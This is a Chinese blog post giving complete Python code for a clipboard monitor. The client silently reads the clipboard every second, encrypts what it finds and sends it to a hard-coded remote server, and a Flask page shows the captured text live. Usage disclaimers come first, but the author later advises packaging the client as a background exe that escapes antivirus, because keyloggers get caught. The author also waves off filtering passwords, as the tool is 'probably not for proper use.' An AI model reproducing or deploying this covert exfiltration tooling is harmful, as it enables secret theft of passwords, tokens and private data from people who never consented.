HQY

×

简单做一个剪贴板监控程序,加密传输到服务器,网页实时查看

hqy hqy 发表于2026-05-08 23:42:57 浏览3 评论0

抢沙发发表评论

说明:

持续监控剪贴板 + 加密上传到服务器 + 网页实时查看——已经很接近隐私/监控工具甚至键盘记录器的一种变体
? 如果是你自己用(比如多设备同步剪贴板、开发工具),没问题
? 如果是用于“监控别人”或不告知用户的采集,那是有明显法律和合规风险的

请注意:

  • 本项目涉及剪贴板数据采集与网络传输,请确保仅在本人设备或已授权环境中使用
  • 不建议用于未经授权的设备监控或数据采集行为
  • 剪贴板可能包含密码、Token、隐私信息等敏感内容,请务必做好过滤与保护措施
  • 服务端若部署在公网环境,请务必启用身份验证与 HTTPS 加密,避免数据泄露风险

作者不对因不当使用该方案所造成的任何数据泄露或法律风险负责。

? 架构设计


可以拆成三块:

1️⃣ 客户端(你现在这段代码)

  • 监听剪贴板
  • 加密数据
  • 发送到服务器

2️⃣ 服务端 API

  • 接收数据
  • 解密
  • 存储(内存 / 数据库)

3️⃣ Web 页面

  • 展示剪贴板历史

服务端
环境准备:












# 更新软件包列表sudo apt update
# 安装 Python 3 和 pip3sudo apt install -y python3 python3-pip
# 可选:设置 python 命令指向 python3(方便使用)sudo apt install -y python-is-python3
# 验证安装python3 --versionpip3 --version
如果希望使用 python 和 pip 命令代替 python3 和 pip3,上述 python-is-python3 包会创建软链接。执行完成后即可正常使用。
传输加密使用的是:cryptography

使用 Fernet(对称加密),优点:

  • 简单
  • 自带签名(防篡改)
  • 不用你自己处理 IV / padding

安装,顺便把 Flask、flask-socketio 也装了:


pip install flask flask-socketio cryptography

之后将以下服务端代码写入到 clipboard.py里:





























































cat << 'EOF' | tee clipboard.pyfrom flask import Flask, request, jsonifyfrom flask_socketio import SocketIOfrom cryptography.fernet import Fernet
app = Flask(__name__)socketio = SocketIO(app, cors_allowed_origins="*")
KEY = b'你的Key'fernet = Fernet(KEY)
clipboard_data = []
@app.route('/upload', methods=['POST'])def upload():    encrypted = request.json.get("data")
    try:        decrypted = fernet.decrypt(encrypted.encode()).decode()        clipboard_data.append(decrypted)
        # ? 关键:实时推送给网页        socketio.emit('new_clipboard', {"text": decrypted})
        return jsonify({"status""ok"})    except:        return jsonify({"status""error"}), 400

@app.route('/')def index():    return """    <html>    <head>        <title>剪贴板实时监控</title>    </head>    <body>        <h2>剪贴板记录(实时)</h2>        <ul id="list"></ul>
        <script src="https://cdn.socket.io/4.0.0/socket.io.min.js"></script>        <script>            var socket = io();
            socket.on('new_clipboard', function(data) {                var li = document.createElement("li");                li.innerText = data.text;
                var list = document.getElementById("list");                list.insertBefore(li, list.firstChild);            });        </script>    </body>    </html>    """

if __name__ == '__main__':    socketio.run(app, host='0.0.0.0', port=5000)EOF

记得将 KEY = b'你的key填这里' 替换为实际的 Fernet 密钥,可以使用以下代码生成:

直接在本地电脑创建个py文件,然后运行后把输出的值替换掉服务端代码的key。



from cryptography.fernet import Fernetprint(Fernet.generate_key())

之后执行下方命令启动:


python clipboard.py
图片
客户端
客户端代码(加密 + 发送):




























import timeimport pyperclipimport requestsfrom cryptography.fernet import Fernet# 生成一次 key(只做一次,然后写死)# key = Fernet.generate_key()# print(key)KEY = b'你的Key(需要与服务器的Key一致)'fernet = Fernet(KEY)SERVER_URL = "http://198.200.39.243:5000/upload"last_text = ""while True:        try:         current_text = pyperclip.paste().strip()        if current_text and current_text != last_text:                 if len(current_text) < 200:                 # 加密                                encrypted = fernet.encrypt(current_text.encode())                 # 发送                                 requests.post(SERVER_URL, json={                                         "data": encrypted.decode()                                 })                                 print("已发送")                         last_text = current_text                time.sleep(1)        except KeyboardInterrupt:                print("程序已退出")                break
代码中的key需要与服务端的key保持一致。
本地记得安装依赖:

pip install pyperclip requests cryptography
之后运行代码,我是在pycharm中编码,所以直接点击运行按钮,不用命令,建议以后写代码要在编译器中写。

在浏览器中访问下方地址,就能以网页形式看到客户端上传到服务器的电脑复制的信息。


http://服务器IP:5000/

效果如下:

按照这个思路,后期可以把客户端打包成exe在电脑后台运行,不会被杀毒软件扫出病毒,我们的思路是获取剪贴板内容,而非键盘记录,键盘记录是百分百会被杀毒软件给拦截的。

这个项目有几个问题缺陷:

1️⃣ 没有持久化


现在数据存在内存里:

  • 重启服务器/刷新页面就全没了

? 后期建议升级:

  • SQLite(轻量)
  • 或 MySQL

来存储剪贴板的数据。

2️⃣ 没有身份验证(很危险)

现在任何人都可以:


POST /upload

去请求这个地址来获取数据。

? 后期必须加:

  • token
  • 或 API key

3️⃣ 没有 HTTPS

你虽然加密了内容,但:

? HTTP 还是能被监听

建议:

  • 用 Nginx + HTTPS
  • 或 Cloudflare

否则很容易被中间人拦截给获取到数据。

4️⃣ 剪贴板敏感数据风险

现实中会包含:

  • 密码
  • token
  • 私钥

? 强烈建议加过滤:



if "password" in current_text.lower():    continue

当然这条我觉得可有可无,毕竟用这个项目估计不是干什么正经用途图片

到这里,一个基础但完整的“加密剪贴板同步系统”已经搭建完成。

从最初的本地剪贴板监听,到加入加密传输,再到 WebSocket 实时同步,这个项目本质上就是一个简单脚本。

当然,目前的实现还只是一个起点,它仍然有很多可以优化和扩展的空间

我做的只是一个简易版,安全系数低,后续的开发就交给你们自己想想了,我不能再详细的提供技术了,否则就:



打赏

本文链接:https://www.kinber.cn/post/6528.html 转载需授权!

分享到:


推荐本站淘宝优惠价购买喜欢的宝贝:

image.png

 您阅读本篇文章共花了: 

群贤毕至

访客